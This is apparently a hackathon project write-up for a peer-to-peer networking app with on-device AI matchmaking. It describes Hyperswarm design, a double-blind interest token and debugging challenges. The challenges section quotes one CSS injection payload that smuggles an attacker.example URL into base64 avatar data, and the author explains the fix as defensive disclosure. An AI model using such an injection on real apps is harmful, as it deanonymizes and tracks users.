Inspiration Every networking event I've ever been to has the same broken loop. You meet someone interesting, scan their LinkedIn QR code, promise to follow up, and then never do. The connection dies in your phone within a week. Meanwhile the people you'd actually click with are standing five feet away and you'll never know they exist. I wanted to fix that, but I was stubborn about two things. There couldn't be a server in the middle owning who-talked-to-whom at the conference, and the AI doing the matchmaking had to run on your machine, not someone else's. No backend, no API key, no privacy policy you'd have to skim and trust. Resonance is what came out of refusing to compromise on either of those — a peer-to-peer professional networking app where two laptops in the same room find each other directly over the local network, swap profiles, run on-device AI matchmaking, and let you swipe through real intros, with a real chat that survives reconnects, all without a single backend service anywhere.
What I learned This was my first time shipping anything on Pear, Holepunch's peer-to-peer app runtime, and the mental model is genuinely different from "web app plus server." There's no Postgres, no Redis, no S3 — the network is the database, state lives on each peer's disk, and reconciliation happens through Hyperswarm connections you open yourself. Designing data schemas means designing wire formats, which forces you to think about what happens when the bytes are wrong, late, or hostile, in a way I'd never had to with a normal stack. Identity is a keypair, not a row in a users table, and persisting that keypair across runs is something you have to build deliberately — I shipped without thinking about it the first time and matches broke on every restart. The other big shift was realizing on-device LLMs are now actually viable for product features, not just demos. I used QVAC, Tether's on-device inference SDK, to run Qwen3-4B locally for two real things: parsing pasted resumes into structured JSON, and writing the personalized "why you two should talk" reason on every match. First inference is slow, but everything after feels snappy enough to ship. And finally, defensive coding for peer-to-peer is its own discipline. Anyone on the swarm can send you anything, so I learned to treat every incoming byte as hostile — rate limits per peer, size caps on profile payloads, replay protection on interest tokens, strict base64 validation on avatars. None of which you'd ever bother with behind a server.
How I built it Resonance shipped in nine numbered phases plus six bonus rounds, and every phase had to end with a working demo before I'd touch the next one. The skeleton came first: two pear run --dev . windows joining the same Hyperswarm topic and showing each other in a list. The single-Hyperswarm-per-app rule is non-negotiable in Pear, so all the routing got centralized in src/peers.js from day one, which paid off later when I needed to bolt on rate limits, version handshakes, and avatar replication without rewriting anything. Onboarding came next — a form for your name, role, skills, and what you're looking for, plus a "Drop your CV" button that runs the PDF through QVAC and pre-fills everything for you. Then the matching layer: each peer's profile gets locally scored against yours, QVAC writes a one-sentence reason for each card, and swiping right broadcasts a double-blind XOR interest token, meaning your interest is ciphertext to everyone except the recipient. A passive observer on the network can't tell who's interested in whom unless both sides swipe right; the math is just ( \text{token} = H(A) \oplus H(B) ), where the recipient XORs their own hash back out and checks if the result matches anyone they know. Mutual swipes fire a match event simultaneously on both laptops and trigger a celebratory full-screen reveal, then a real one-to-one chat opens over the same Hyperswarm connection — persisted to disk so threads survive restarts, with receiver-side dedup so a dropped acknowledgement doesn't duplicate messages, and thread-driven retry so anything you typed during a half-open TCP socket gets re-sent on reconnect. The proximity tier ("Same room / Nearby / In venue") shows at the bottom of each card so you prioritize the people physically near you. Late in the hackathon I rebuilt the entire UI on a deep-wine background with a hot-pink-to-orange gradient ("Velvet Kinetic"), with glassmorphism overlays, twin avatars on the match reveal, and swipe physics with proper spring-back animation — and the peer-to-peer layer underneath was untouched, just a renderer rewrite. After the core was done I went back and shipped six hardening rounds: faster interest-token decoding, receiver-side rate limiting and replay protection, a protocol-version handshake so future wire-format changes don't silently corrupt old peers, a multiplexed channel for profile pictures riding the same connection, and a publication recipe so the whole app can run by anyone with a single pear run pear:// command.
Challenges I ran into A few were memorable enough to share. The PDF parser I picked first, pdf-parse, crashed the renderer on import because it calls require('fs') unconditionally and there's no fs in a browser context — I had to swap to unpdf, which is Pear-friendly. I forgot that new Hyperswarm() with no arguments generates a fresh keypair every time, so on every restart your matches no longer recognized you, which I only caught when a friend tested the demo and said "wait, why is alice gone." Fixing that meant persisting the keypair to disk on first run and feeding it back in on subsequent runs. Killing one peer with Ctrl+C didn't notify the other side because TCP doesn't fail-fast on abrupt disconnects, so messages typed during the dead window vanished into a stale socket — I rebuilt delivery to walk the persisted thread on every reconnect and re-send anything not yet acked, with dedup by message ID so the receiver doesn't get duplicates. The original BLE proximity plan didn't work at all: @abandonware/noble in Bare was unproven, and two Bluetooth radios on the same laptop can't reliably see each other because the OS deduplicates. I tried browser geolocation next, which is structurally blocked in Pear because Electron wants a Google API key in the main process and Pear owns the main process. I ended up pivoting to a simple environment variable for the demo and documented the real path forward for a future mobile build. For avatar pictures I tried to ride a Hyperdrive on the connection, ran a five-variant spike, and confirmed that Hyperdrive doesn't replicate cleanly when a custom JSON channel co-exists with store.replicate(conn) under symmetric reads — so I kept the multiplexing primitive (Protomux) and just sent base64 avatar bytes over the same channel as everything else, capped at 360 KB and downscaled in a hidden canvas before send. The scariest one was a CSS injection that a security-review subagent caught right before I would have shipped it. Avatars are base64, the receiver was interpolating that string into a data: URL and then into style.backgroundImage = url(...), and a hostile peer could embed something like ), url(https://attacker.example/log?id=X inside the b64 payload, which Chromium would happily parse as two layered backgrounds and fetch the attacker's URL. In an app that's supposed to feel anonymous, that's a deanonymization primitive against every user. The fix was a one-line strict base64 regex at both send and receive — but I would never have found it on my own and it's a good reminder of how dangerous "almost-safe" string interpolation is. The last one was funny: my first pear stage produced a 7.9 GB bundle because Pear staging doesn't respect .gitignore and it slurped up every dev-tooling folder in the repo. With an explicit ignore list it dropped to 3.6 GB, dominated by QVAC's cross-platform inference binaries.
The end result is a working two-laptop demo that takes about ten minutes to walk through, runs entirely peer-to-peer over the local network, does all its AI inference on-device, and survives every disconnection scenario I could throw at it.4
Built With
- b4a
- bare-env
- bare-fs
- bare-os
- bare-path
- compact-encoding
- corestore
- css
- html
- hypercore-crypto
- hyperswarm
- javascript
- pear
- pear-electron
- pear-pipe
- protomux
- qvac-sdk
- qwen3-4b
- unpdf
Log in or sign up for Devpost to join the conversation.